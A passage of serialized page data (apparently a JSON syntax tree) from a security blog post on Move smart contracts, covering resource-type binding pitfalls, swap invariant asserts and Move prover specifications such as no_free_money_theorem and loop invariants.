borrow_global_mut",{"type":23,"tag":314,"props":6854,"children":6855},{"style":338},[6856],{"type":28,"value":5060},{"type":23,"tag":314,"props":6858,"children":6859},{"style":2674},[6860],{"type":28,"value":6861},"Oracle",{"type":23,"tag":314,"props":6863,"children":6864},{"style":338},[6865],{"type":28,"value":6866},">(",{"type":23,"tag":314,"props":6868,"children":6869},{"style":354},[6870],{"type":28,"value":6871},"@",{"type":23,"tag":314,"props":6873,"children":6874},{"style":360},[6875],{"type":28,"value":6876},"oracle",{"type":23,"tag":314,"props":6878,"children":6879},{"style":338},[6880],{"type":28,"value":1025},{"type":23,"tag":314,"props":6882,"children":6883},{"class":316,"line":1091},[6884,6888,6893,6897,6902,6906,6911,6915,6920,6924,6929],{"type":23,"tag":314,"props":6885,"children":6886},{"style":321},[6887],{"type":28,"value":2319},{"type":23,"tag":314,"props":6889,"children":6890},{"style":360},[6891],{"type":28,"value":6892}," price",{"type":23,"tag":314,"props":6894,"children":6895},{"style":354},[6896],{"type":28,"value":1237},{"type":23,"tag":314,"props":6898,"children":6899},{"style":338},[6900],{"type":28,"value":6901}," table",{"type":23,"tag":314,"props":6903,"children":6904},{"style":354},[6905],{"type":28,"value":2737},{"type":23,"tag":314,"props":6907,"children":6908},{"style":360},[6909],{"type":28,"value":6910},"borrow_mut_with_default",{"type":23,"tag":314,"props":6912,"children":6913},{"style":338},[6914],{"type":28,"value":5060},{"type":23,"tag":314,"props":6916,"children":6917},{"style":2674},[6918],{"type":28,"value":6919},"TypeInfo",{"type":23,"tag":314,"props":6921,"children":6922},{"style":338},[6923],{"type":28,"value":778},{"type":23,"tag":314,"props":6925,"children":6926},{"style":2674},[6927],{"type":28,"value":6928},"Decimal",{"type":23,"tag":314,"props":6930,"children":6931},{"style":338},[6932],{"type":28,"value":5844},{"type":23,"tag":314,"props":6934,"children":6935},{"class":316,"line":1141},[6936,6941,6945,6949,6953],{"type":23,"tag":314,"props":6937,"children":6938},{"style":354},[6939],{"type":28,"value":6940}," &",{"type":23,"tag":314,"props":6942,"children":6943},{"style":321},[6944],{"type":28,"value":2979},{"type":23,"tag":314,"props":6946,"children":6947},{"style":360},[6948],{"type":28,"value":6843},{"type":23,"tag":314,"props":6950,"children":6951},{"style":354},[6952],{"type":28,"value":282},{"type":23,"tag":314,"props":6954,"children":6955},{"style":338},[6956],{"type":28,"value":6957},"prices,\n",{"type":23,"tag":314,"props":6959,"children":6960},{"class":316,"line":1173},[6961,6966],{"type":23,"tag":314,"props":6962,"children":6963},{"style":360},[6964],{"type":28,"value":6965}," type_info",{"type":23,"tag":314,"props":6967,"children":6968},{"style":338},[6969],{"type":28,"value":1870},{"type":23,"tag":314,"props":6971,"children":6972},{"class":316,"line":1208},[6973,6978,6982,6986],{"type":23,"tag":314,"props":6974,"children":6975},{"style":338},[6976],{"type":28,"value":6977}," decimal",{"type":23,"tag":314,"props":6979,"children":6980},{"style":354},[6981],{"type":28,"value":2737},{"type":23,"tag":314,"props":6983,"children":6984},{"style":332},[6985],{"type":28,"value":271},{"type":23,"tag":314,"props":6987,"children":6988},{"style":338},[6989],{"type":28,"value":6990},"()\n",{"type":23,"tag":314,"props":6992,"children":6993},{"class":316,"line":1216},[6994],{"type":23,"tag":314,"props":6995,"children":6996},{"style":338},[6997],{"type":28,"value":6998}," );\n",{"type":23,"tag":314,"props":7000,"children":7001},{"class":316,"line":1301},[7002,7007],{"type":23,"tag":314,"props":7003,"children":7004},{"style":354},[7005],{"type":28,"value":7006}," *",{"type":23,"tag":314,"props":7008,"children":7009},{"style":360},[7010],{"type":28,"value":7011},"price\n",{"type":23,"tag":314,"props":7013,"children":7014},{"class":316,"line":1343},[7015],{"type":23,"tag":314,"props":7016,"children":7017},{"style":338},[7018],{"type":28,"value":2610},{"type":23,"tag":24,"props":7020,"children":7021},{},[7022,7024,7029],{"type":28,"value":7023},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":23,"tag":186,"props":7025,"children":7026},{},[7027],{"type":28,"value":7028},"instance",{"type":28,"value":7030}," of another resource (which is possible in Diem style move).",{"type":23,"tag":24,"props":7032,"children":7033},{},[7034],{"type":28,"value":7035},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":23,"tag":84,"props":7037,"children":7038},{},[7039,7044],{"type":23,"tag":88,"props":7040,"children":7041},{},[7042],{"type":28,"value":7043},"Have unique initializers for your resources",{"type":23,"tag":88,"props":7045,"children":7046},{},[7047],{"type":28,"value":7048},"Associate resources with instances directly",{"type":23,"tag":61,"props":7050,"children":7052},{"id":7051},"formal-verification",[7053],{"type":28,"value":7054},"Formal Verification",{"type":23,"tag":24,"props":7056,"children":7057},{},[7058],{"type":28,"value":7059},"Formal verification is another exciting feature.",{"type":23,"tag":24,"props":7061,"children":7062},{},[7063],{"type":28,"value":7064},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":23,"tag":24,"props":7066,"children":7067},{},[7068,7070,7075],{"type":28,"value":7069},"However, this isn't a silver bullet. The key is figuring out ",{"type":23,"tag":186,"props":7071,"children":7072},{},[7073],{"type":28,"value":7074},"what",{"type":28,"value":7076}," to prove.",{"type":23,"tag":24,"props":7078,"children":7079},{},[7080,7082,7089],{"type":28,"value":7081},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":23,"tag":31,"props":7083,"children":7086},{"href":7084,"rel":7085},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[35],[7087],{"type":28,"value":7088},"Solana AMM rounding issue",{"type":28,"value":7090}," we reported.",{"type":23,"tag":24,"props":7092,"children":7093},{},[7094],{"type":28,"value":7095},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":23,"tag":304,"props":7097,"children":7099},{"className":2234,"code":7098,"language":2233,"meta":7,"style":7}," let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[7100],{"type":23,"tag":94,"props":7101,"children":7102},{"__ignoreMap":7},[7103,7164],{"type":23,"tag":314,"props":7104,"children":7105},{"class":316,"line":317},[7106,7111,7116,7120,7125,7129,7134,7138,7142,7147,7151,7155,7160],{"type":23,"tag":314,"props":7107,"children":7108},{"style":321},[7109],{"type":28,"value":7110}," let",{"type":23,"tag":314,"props":7112,"children":7113},{"style":360},[7114],{"type":28,"value":7115}," cmp",{"type":23,"tag":314,"props":7117,"children":7118},{"style":354},[7119],{"type":28,"value":1237},{"type":23,"tag":314,"props":7121,"children":7122},{"style":338},[7123],{"type":28,"value":7124}," u256",{"type":23,"tag":314,"props":7126,"children":7127},{"style":354},[7128],{"type":28,"value":2737},{"type":23,"tag":314,"props":7130,"children":7131},{"style":332},[7132],{"type":28,"value":7133},"compare",{"type":23,"tag":314,"props":7135,"children":7136},{"style":338},[7137],{"type":28,"value":341},{"type":23,"tag":314,"props":7139,"children":7140},{"style":354},[7141],{"type":28,"value":1833},{"type":23,"tag":314,"props":7143,"children":7144},{"style":360},[7145],{"type":28,"value":7146},"lp_value_after_swap_and_fee",{"type":23,"tag":314,"props":7148,"children":7149},{"style":338},[7150],{"type":28,"value":778},{"type":23,"tag":314,"props":7152,"children":7153},{"style":354},[7154],{"type":28,"value":1833},{"type":23,"tag":314,"props":7156,"children":7157},{"style":360},[7158],{"type":28,"value":7159},"lp_value_before_swap_u256",{"type":23,"tag":314,"props":7161,"children":7162},{"style":338},[7163],{"type":28,"value":1025},{"type":23,"tag":314,"props":7165,"children":7166},{"class":316,"line":370},[7167,7172,7176,7181,7185,7190],{"type":23,"tag":314,"props":7168,"children":7169},{"style":332},[7170],{"type":28,"value":7171}," assert!",{"type":23,"tag":314,"props":7173,"children":7174},{"style":338},[7175],{"type":28,"value":341},{"type":23,"tag":314,"props":7177,"children":7178},{"style":360},[7179],{"type":28,"value":7180},"cmp",{"type":23,"tag":314,"props":7182,"children":7183},{"style":354},[7184],{"type":28,"value":2537},{"type":23,"tag":314,"props":7186,"children":7187},{"style":1054},[7188],{"type":28,"value":7189}," 2",{"type":23,"tag":314,"props":7191,"children":7192},{"style":338},[7193],{"type":28,"value":7194},", ERR_INCORRECT_SWAP);\n",{"type":23,"tag":24,"props":7196,"children":7197},{},[7198,7200,7205],{"type":28,"value":7199},"The move prover really shines when we're proving relationships ",{"type":23,"tag":186,"props":7201,"children":7202},{},[7203],{"type":28,"value":7204},"between",{"type":28,"value":7206}," functions.",{"type":23,"tag":24,"props":7208,"children":7209},{},[7210,7212,7218],{"type":28,"value":7211},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":23,"tag":94,"props":7213,"children":7215},{"className":7214},[],[7216],{"type":28,"value":7217},"no_free_money_theorem",{"type":28,"value":7219}," in the move repository.",{"type":23,"tag":304,"props":7221,"children":7223},{"className":2234,"code":7222,"language":2233,"meta":7,"style":7}," // #[test] // TODO: cannot specify the test-only functions\n fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n let share = add_liquidity(coin1_in, coin2_in);\n remove_liquidity(share)\n }\n spec no_free_money_theorem {\n pragma verify=false;\n ensures result_1 \u003C= coin1_in;\n ensures result_2 \u003C= coin2_in;\n }\n",[7224],{"type":23,"tag":94,"props":7225,"children":7226},{"__ignoreMap":7},[7227,7235,7323,7365,7386,7393,7409,7434,7461,7486],{"type":23,"tag":314,"props":7228,"children":7229},{"class":316,"line":317},[7230],{"type":23,"tag":314,"props":7231,"children":7232},{"style":374},[7233],{"type":28,"value":7234}," // #[test] // TODO: cannot specify the test-only functions\n",{"type":23,"tag":314,"props":7236,"children":7237},{"class":316,"line":370},[7238,7242,7247,7251,7256,7260,7264,7268,7273,7277,7281,7285,7289,7293,7298,7302,7306,7310,7314,7319],{"type":23,"tag":314,"props":7239,"children":7240},{"style":360},[7241],{"type":28,"value":5825},{"type":23,"tag":314,"props":7243,"children":7244},{"style":332},[7245],{"type":28,"value":7246}," no_free_money_theorem",{"type":23,"tag":314,"props":7248,"children":7249},{"style":338},[7250],{"type":28,"value":341},{"type":23,"tag":314,"props":7252,"children":7253},{"style":360},[7254],{"type":28,"value":7255},"coin1_in",{"type":23,"tag":314,"props":7257,"children":7258},{"style":354},[7259],{"type":28,"value":3746},{"type":23,"tag":314,"props":7261,"children":7262},{"style":2674},[7263],{"type":28,"value":5114},{"type":23,"tag":314,"props":7265,"children":7266},{"style":338},[7267],{"type":28,"value":778},{"type":23,"tag":314,"props":7269,"children":7270},{"style":360},[7271],{"type":28,"value":7272},"coin2_in",{"type":23,"tag":314,"props":7274,"children":7275},{"style":354},[7276],{"type":28,"value":3746},{"type":23,"tag":314,"props":7278,"children":7279},{"style":2674},[7280],{"type":28,"value":5114},{"type":23,"tag":314,"props":7282,"children":7283},{"style":338},[7284],{"type":28,"value":431},{"type":23,"tag":314,"props":7286,"children":7287},{"style":354},[7288],{"type":28,"value":3746},{"type":23,"tag":314,"props":7290,"children":7291},{"style":338},[7292],{"type":28,"value":2324},{"type":23,"tag":314,"props":7294,"children":7295},{"style":2674},[7296],{"type":28,"value":7297},"u64",{"type":23,"tag":314,"props":7299,"children":7300},{"style":338},[7301],{"type":28,"value":778},{"type":23,"tag":314,"props":7303,"children":7304},{"style":2674},[7305],{"type":28,"value":7297},{"type":23,"tag":314,"props":7307,"children":7308},{"style":338},[7309],{"type":28,"value":2343},{"type":23,"tag":314,"props":7311,"children":7312},{"style":360},[7313],{"type":28,"value":5599},{"type":23,"tag":314,"props":7315,"children":7316},{"style":2674},[7317],{"type":28,"value":7318}," Pool",{"type":23,"tag":314,"props":7320,"children":7321},{"style":338},[7322],{"type":28,"value":1449},{"type":23,"tag":314,"props":7324,"children":7325},{"class":316,"line":380},[7326,7331,7336,7340,7345,7349,7353,7357,7361],{"type":23,"tag":314,"props":7327,"children":7328},{"style":321},[7329],{"type":28,"value":7330}," let",{"type":23,"tag":314,"props":7332,"children":7333},{"style":360},[7334],{"type":28,"value":7335}," share",{"type":23,"tag":314,"props":7337,"children":7338},{"style":354},[7339],{"type":28,"value":1237},{"type":23,"tag":314,"props":7341,"children":7342},{"style":332},[7343],{"type":28,"value":7344}," add_liquidity",{"type":23,"tag":314,"props":7346,"children":7347},{"style":338},[7348],{"type":28,"value":341},{"type":23,"tag":314,"props":7350,"children":7351},{"style":360},[7352],{"type":28,"value":7255},{"type":23,"tag":314,"props":7354,"children":7355},{"style":338},[7356],{"type":28,"value":778},{"type":23,"tag":314,"props":7358,"children":7359},{"style":360},[7360],{"type":28,"value":7272},{"type":23,"tag":314,"props":7362,"children":7363},{"style":338},[7364],{"type":28,"value":1025},{"type":23,"tag":314,"props":7366,"children":7367},{"class":316,"line":1091},[7368,7373,7377,7382],{"type":23,"tag":314,"props":7369,"children":7370},{"style":332},[7371],{"type":28,"value":7372}," remove_liquidity",{"type":23,"tag":314,"props":7374,"children":7375},{"style":338},[7376],{"type":28,"value":341},{"type":23,"tag":314,"props":7378,"children":7379},{"style":360},[7380],{"type":28,"value":7381},"share",{"type":23,"tag":314,"props":7383,"children":7384},{"style":338},[7385],{"type":28,"value":2414},{"type":23,"tag":314,"props":7387,"children":7388},{"class":316,"line":1141},[7389],{"type":23,"tag":314,"props":7390,"children":7391},{"style":338},[7392],{"type":28,"value":5126},{"type":23,"tag":314,"props":7394,"children":7395},{"class":316,"line":1173},[7396,7401,7405],{"type":23,"tag":314,"props":7397,"children":7398},{"style":360},[7399],{"type":28,"value":7400}," spec",{"type":23,"tag":314,"props":7402,"children":7403},{"style":360},[7404],{"type":28,"value":7246},{"type":23,"tag":314,"props":7406,"children":7407},{"style":338},[7408],{"type":28,"value":1449},{"type":23,"tag":314,"props":7410,"children":7411},{"class":316,"line":1208},[7412,7417,7422,7426,7430],{"type":23,"tag":314,"props":7413,"children":7414},{"style":360},[7415],{"type":28,"value":7416}," pragma",{"type":23,"tag":314,"props":7418,"children":7419},{"style":360},[7420],{"type":28,"value":7421}," verify",{"type":23,"tag":314,"props":7423,"children":7424},{"style":354},[7425],{"type":28,"value":1102},{"type":23,"tag":314,"props":7427,"children":7428},{"style":321},[7429],{"type":28,"value":1532},{"type":23,"tag":314,"props":7431,"children":7432},{"style":338},[7433],{"type":28,"value":2278},{"type":23,"tag":314,"props":7435,"children":7436},{"class":316,"line":1216},[7437,7442,7447,7452,7457],{"type":23,"tag":314,"props":7438,"children":7439},{"style":360},[7440],{"type":28,"value":7441}," ensures",{"type":23,"tag":314,"props":7443,"children":7444},{"style":360},[7445],{"type":28,"value":7446}," result_1",{"type":23,"tag":314,"props":7448,"children":7449},{"style":354},[7450],{"type":28,"value":7451}," \u003C=",{"type":23,"tag":314,"props":7453,"children":7454},{"style":360},[7455],{"type":28,"value":7456}," coin1_in",{"type":23,"tag":314,"props":7458,"children":7459},{"style":338},[7460],{"type":28,"value":2278},{"type":23,"tag":314,"props":7462,"children":7463},{"class":316,"line":1301},[7464,7468,7473,7477,7482],{"type":23,"tag":314,"props":7465,"children":7466},{"style":360},[7467],{"type":28,"value":7441},{"type":23,"tag":314,"props":7469,"children":7470},{"style":360},[7471],{"type":28,"value":7472}," result_2",{"type":23,"tag":314,"props":7474,"children":7475},{"style":354},[7476],{"type":28,"value":7451},{"type":23,"tag":314,"props":7478,"children":7479},{"style":360},[7480],{"type":28,"value":7481}," coin2_in",{"type":23,"tag":314,"props":7483,"children":7484},{"style":338},[7485],{"type":28,"value":2278},{"type":23,"tag":314,"props":7487,"children":7488},{"class":316,"line":1343},[7489],{"type":23,"tag":314,"props":7490,"children":7491},{"style":338},[7492],{"type":28,"value":5126},{"type":23,"tag":24,"props":7494,"children":7495},{},[7496],{"type":28,"value":7497},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":23,"tag":24,"props":7499,"children":7500},{},[7501,7503,7508],{"type":28,"value":7502},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":23,"tag":186,"props":7504,"children":7505},{},[7506],{"type":28,"value":7507},"lot",{"type":28,"value":7509}," easier to reason about the protocol.",{"type":23,"tag":24,"props":7511,"children":7512},{},[7513],{"type":28,"value":7514},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":23,"tag":304,"props":7516,"children":7518},{"className":2234,"code":7517,"language":2233,"meta":7,"style":7},"spec PoolState {\n invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[7519],{"type":23,"tag":94,"props":7520,"children":7521},{"__ignoreMap":7},[7522,7539,7561],{"type":23,"tag":314,"props":7523,"children":7524},{"class":316,"line":317},[7525,7530,7535],{"type":23,"tag":314,"props":7526,"children":7527},{"style":360},[7528],{"type":28,"value":7529},"spec",{"type":23,"tag":314,"props":7531,"children":7532},{"style":2674},[7533],{"type":28,"value":7534}," PoolState",{"type":23,"tag":314,"props":7536,"children":7537},{"style":338},[7538],{"type":28,"value":1449},{"type":23,"tag":314,"props":7540,"children":7541},{"class":316,"line":370},[7542,7547,7552,7556],{"type":23,"tag":314,"props":7543,"children":7544},{"style":360},[7545],{"type":28,"value":7546}," invariant",{"type":23,"tag":314,"props":7548,"children":7549},{"style":360},[7550],{"type":28,"value":7551}," supply",{"type":23,"tag":314,"props":7553,"children":7554},{"style":354},[7555],{"type":28,"value":1062},{"type":23,"tag":314,"props":7557,"children":7558},{"style":338},[7559],{"type":28,"value":7560}," MINIMUM_LIQUIDITY;\n",{"type":23,"tag":314,"props":7562,"children":7563},{"class":316,"line":380},[7564],{"type":23,"tag":314,"props":7565,"children":7566},{"style":338},[7567],{"type":28,"value":386},{"type":23,"tag":24,"props":7569,"children":7570},{},[7571,7573,7579,7581,7587],{"type":28,"value":7572},"Another useful pattern for the Move prover is ",{"type":23,"tag":94,"props":7574,"children":7576},{"className":7575},[],[7577],{"type":28,"value":7578},"aborts_if",{"type":28,"value":7580},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":23,"tag":94,"props":7582,"children":7584},{"className":7583},[],[7585],{"type":28,"value":7586},"aborts_if false",{"type":28,"value":282},{"type":23,"tag":24,"props":7589,"children":7590},{},[7591],{"type":28,"value":7592},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":23,"tag":304,"props":7594,"children":7596},{"className":2234,"code":7595,"language":2233,"meta":7,"style":7}," fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n let amounts_times_coins = vector::empty\u003Cu128>();\n let i = 0;\n let n_coins = vector::length(&input);\n while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n spec {\n assert i == n_coins;\n assert len(input) == n_coins;\n };\n amounts_times_coins\n }\n spec multiply_vec_by_n_coins {\n pragma opaque;\n aborts_if false;\n ensures len(result) == len(input);\n ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n }\n",[7597],{"type":23,"tag":94,"props":7598,"children":7599},{"__ignoreMap":7},[7600,7663,7705,7728,7773,7786,7798,7837,7860,7947,7955,7980,7988,8009,8029,8129,8137,8165,8173,8185,8209,8244,8251,8259,8266,8281,8297,8314,8358,8463],{"type":23,"tag":314,"props":7601,"children":7602},{"class":316,"line":317},[7603,7607,7612,7616,7620,7624,7629,7633,7637,7642,7646,7650,7654,7659],{"type":23,"tag":314,"props":7604,"children":7605},{"style":360},[7606],{"type":28,"value":5825},{"type":23,"tag":314,"props":7608,"children":7609},{"style":332},[7610],{"type":28,"value":7611}," multiply_vec_by_n_coins",{"type":23,"tag":314,"props":7613,"children":7614},{"style":338},[7615],{"type":28,"value":341},{"type":23,"tag":314,"props":7617,"children":7618},{"style":360},[7619],{"type":28,"value":99},{"type":23,"tag":314,"props":7621,"children":7622},{"style":354},[7623],{"type":28,"value":3746},{"type":23,"tag":314,"props":7625,"children":7626},{"style":360},[7627],{"type":28,"value":7628}," vector",{"type":23,"tag":314,"props":7630,"children":7631},{"style":338},[7632],{"type":28,"value":5060},{"type":23,"tag":314,"props":7634,"children":7635},{"style":2674},[7636],{"type":28,"value":7297},{"type":23,"tag":314,"props":7638,"children":7639},{"style":338},[7640],{"type":28,"value":7641},">)",{"type":23,"tag":314,"props":7643,"children":7644},{"style":354},[7645],{"type":28,"value":3746},{"type":23,"tag":314,"props":7647,"children":7648},{"style":360},[7649],{"type":28,"value":7628},{"type":23,"tag":314,"props":7651,"children":7652},{"style":338},[7653],{"type":28,"value":5060},{"type":23,"tag":314,"props":7655,"children":7656},{"style":2674},[7657],{"type":28,"value":7658},"u128",{"type":23,"tag":314,"props":7660,"children":7661},{"style":338},[7662],{"type":28,"value":6536},{"type":23,"tag":314,"props":7664,"children":7665},{"class":316,"line":370},[7666,7670,7675,7679,7683,7687,7692,7696,7700],{"type":23,"tag":314,"props":7667,"children":7668},{"style":321},[7669],{"type":28,"value":7330},{"type":23,"tag":314,"props":7671,"children":7672},{"style":360},[7673],{"type":28,"value":7674}," amounts_times_coins",{"type":23,"tag":314,"props":7676,"children":7677},{"style":354},[7678],{"type":28,"value":1237},{"type":23,"tag":314,"props":7680,"children":7681},{"style":338},[7682],{"type":28,"value":7628},{"type":23,"tag":314,"props":7684,"children":7685},{"style":354},[7686],{"type":28,"value":2737},{"type":23,"tag":314,"props":7688,"children":7689},{"style":360},[7690],{"type":28,"value":7691},"empty",{"type":23,"tag":314,"props":7693,"children":7694},{"style":338},[7695],{"type":28,"value":5060},{"type":23,"tag":314,"props":7697,"children":7698},{"style":2674},[7699],{"type":28,"value":7658},{"type":23,"tag":314,"props":7701,"children":7702},{"style":338},[7703],{"type":28,"value":7704},">();\n",{"type":23,"tag":314,"props":7706,"children":7707},{"class":316,"line":380},[7708,7712,7716,7720,7724],{"type":23,"tag":314,"props":7709,"children":7710},{"style":321},[7711],{"type":28,"value":7330},{"type":23,"tag":314,"props":7713,"children":7714},{"style":360},[7715],{"type":28,"value":2653},{"type":23,"tag":314,"props":7717,"children":7718},{"style":354},[7719],{"type":28,"value":1237},{"type":23,"tag":314,"props":7721,"children":7722},{"style":1054},[7723],{"type":28,"value":1201},{"type":23,"tag":314,"props":7725,"children":7726},{"style":338},[7727],{"type":28,"value":2278},{"type":23,"tag":314,"props":7729,"children":7730},{"class":316,"line":1091},[7731,7735,7740,7744,7748,7752,7757,7761,7765,7769],{"type":23,"tag":314,"props":7732,"children":7733},{"style":321},[7734],{"type":28,"value":7330},{"type":23,"tag":314,"props":7736,"children":7737},{"style":360},[7738],{"type":28,"value":7739}," n_coins",{"type":23,"tag":314,"props":7741,"children":7742},{"style":354},[7743],{"type":28,"value":1237},{"type":23,"tag":314,"props":7745,"children":7746},{"style":338},[7747],{"type":28,"value":7628},{"type":23,"tag":314,"props":7749,"children":7750},{"style":354},[7751],{"type":28,"value":2737},{"type":23,"tag":314,"props":7753,"children":7754},{"style":332},[7755],{"type":28,"value":7756},"length",{"type":23,"tag":314,"props":7758,"children":7759},{"style":338},[7760],{"type":28,"value":341},{"type":23,"tag":314,"props":7762,"children":7763},{"style":354},[7764],{"type":28,"value":1833},{"type":23,"tag":314,"props":7766,"children":7767},{"style":360},[7768],{"type":28,"value":99},{"type":23,"tag":314,"props":7770,"children":7771},{"style":338},[7772],{"type":28,"value":1025},{"type":23,"tag":314,"props":7774,"children":7775},{"class":316,"line":1141},[7776,7781],{"type":23,"tag":314,"props":7777,"children":7778},{"style":2284},[7779],{"type":28,"value":7780}," while",{"type":23,"tag":314,"props":7782,"children":7783},{"style":338},[7784],{"type":28,"value":7785}," ({\n",{"type":23,"tag":314,"props":7787,"children":7788},{"class":316,"line":1173},[7789,7794],{"type":23,"tag":314,"props":7790,"children":7791},{"style":360},[7792],{"type":28,"value":7793}," spec",{"type":23,"tag":314,"props":7795,"children":7796},{"style":338},[7797],{"type":28,"value":1449},{"type":23,"tag":314,"props":7799,"children":7800},{"class":316,"line":1208},[7801,7806,7811,7815,7820,7824,7829,7833],{"type":23,"tag":314,"props":7802,"children":7803},{"style":360},[7804],{"type":28,"value":7805}," invariant",{"type":23,"tag":314,"props":7807,"children":7808},{"style":332},[7809],{"type":28,"value":7810}," len",{"type":23,"tag":314,"props":7812,"children":7813},{"style":338},[7814],{"type":28,"value":341},{"type":23,"tag":314,"props":7816,"children":7817},{"style":360},[7818],{"type":28,"value":7819},"amounts_times_coins",{"type":23,"tag":314,"props":7821,"children":7822},{"style":338},[7823],{"type":28,"value":2343},{"type":23,"tag":314,"props":7825,"children":7826},{"style":354},[7827],{"type":28,"value":7828},"==",{"type":23,"tag":314,"props":7830,"children":7831},{"style":360},[7832],{"type":28,"value":2653},{"type":23,"tag":314,"props":7834,"children":7835},{"style":338},[7836],{"type":28,"value":2278},{"type":23,"tag":314,"props":7838,"children":7839},{"class":316,"line":1216},[7840,7844,7848,7852,7856],{"type":23,"tag":314,"props":7841,"children":7842},{"style":360},[7843],{"type":28,"value":7805},{"type":23,"tag":314,"props":7845,"children":7846},{"style":360},[7847],{"type":28,"value":2653},{"type":23,"tag":314,"props":7849,"children":7850},{"style":354},[7851],{"type":28,"value":7451},{"type":23,"tag":314,"props":7853,"children":7854},{"style":360},[7855],{"type":28,"value":7739},{"type":23,"tag":314,"props":7857,"children":7858},{"style":338},[7859],{"type":28,"value":2278},{"type":23,"tag":314,"props":7861,"children":7862},{"class":316,"line":1301},[7863,7867,7872,7877,7881,7885,7889,7893,7897,7901,7905,7910,7914,7918,7923,7927,7931,7935,7939,7943],{"type":23,"tag":314,"props":7864,"children":7865},{"style":360},[7866],{"type":28,"value":7805},{"type":23,"tag":314,"props":7868,"children":7869},{"style":360},[7870],{"type":28,"value":7871}," forall",{"type":23,"tag":314,"props":7873,"children":7874},{"style":360},[7875],{"type":28,"value":7876}," j",{"type":23,"tag":314,"props":7878,"children":7879},{"style":321},[7880],{"type":28,"value":2297},{"type":23,"tag":314,"props":7882,"children":7883},{"style":1054},[7884],{"type":28,"value":1201},{"type":23,"tag":314,"props":7886,"children":7887},{"style":354},[7888],{"type":28,"value":2306},{"type":23,"tag":314,"props":7890,"children":7891},{"style":360},[7892],{"type":28,"value":2993},{"type":23,"tag":314,"props":7894,"children":7895},{"style":354},[7896],{"type":28,"value":3746},{"type":23,"tag":314,"props":7898,"children":7899},{"style":360},[7900],{"type":28,"value":7674},{"type":23,"tag":314,"props":7902,"children":7903},{"style":338},[7904],{"type":28,"value":1312},{"type":23,"tag":314,"props":7906,"children":7907},{"style":360},[7908],{"type":28,"value":7909},"j",{"type":23,"tag":314,"props":7911,"children":7912},{"style":338},[7913],{"type":28,"value":1322},{"type":23,"tag":314,"props":7915,"children":7916},{"style":354},[7917],{"type":28,"value":7828},{"type":23,"tag":314,"props":7919,"children":7920},{"style":360},[7921],{"type":28,"value":7922}," input",{"type":23,"tag":314,"props":7924,"children":7925},{"style":338},[7926],{"type":28,"value":1312},{"type":23,"tag":314,"props":7928,"children":7929},{"style":360},[7930],{"type":28,"value":7909},{"type":23,"tag":314,"props":7932,"children":7933},{"style":338},[7934],{"type":28,"value":1322},{"type":23,"tag":314,"props":7936,"children":7937},{"style":354},[7938],{"type":28,"value":256},{"type":23,"tag":314,"props":7940,"children":7941},{"style":360},[7942],{"type":28,"value":7739},{"type":23,"tag":314,"props":7944,"children":7945},{"style":338},[7946],{"type":28,"value":2278},{"type":23,"tag":314,"props":7948,"children":7949},{"class":316,"line":1343},[7950],{"type":23,"tag":314,"props":7951,"children":7952},{"style":338},[7953],{"type":28,"value":7954}," };\n",{"type":23,"tag":314,"props":7956,"children":7957},{"class":316,"line":1351},[7958,7963,7967,7972,7976],{"type":23,"tag":314,"props":7959,"children":7960},{"style":338},[7961],{"type":28,"value":7962}," (",{"type":23,"tag":314,"props":7964,"children":7965},{"style":360},[7966],{"type":28,"value":2993},{"type":23,"tag":314,"props":7968,"children":7969},{"style":354},[7970],{"type":28,"value":7971}," \u003C",{"type":23,"tag":314,"props":7973,"children":7974},{"style":360},[7975],{"type":28,"value":7739},{"type":23,"tag":314,"props":7977,"children":7978},{"style":338},[7979],{"type":28,"value":2414},{"type":23,"tag":314,"props":7981,"children":7982},{"class":316,"line":1387},[7983],{"type":23,"tag":314,"props":7984,"children":7985},{"style":338},[7986],{"type":28,"value":7987}," }) {\n",{"type":23,"tag":314,"props":7989,"children":7990},{"class":316,"line":1422},[7991,7996,8000,8005],{"type":23,"tag":314,"props":7992,"children":7993},{"style":338},[7994],{"type":28,"value":7995}," vector",{"type":23,"tag":314,"props":7997,"children":7998},{"style":354},[7999],{"type":28,"value":2737},{"type":23,"tag":314,"props":8001,"children":8002},{"style":332},[8003],{"type":28,"value":8004},"push_back",{"type":23,"tag":314,"props":8006,"children":8007},{"style":338},[8008],{"type":28,"value":2719},{"type":23,"tag":314,"props":8010,"children":8011},{"class":316,"line":1430},[8012,8017,8021,8025],{"type":23,"tag":314,"props":8013,"children":8014},{"style":354},[8015],{"type":28,"value":8016}," 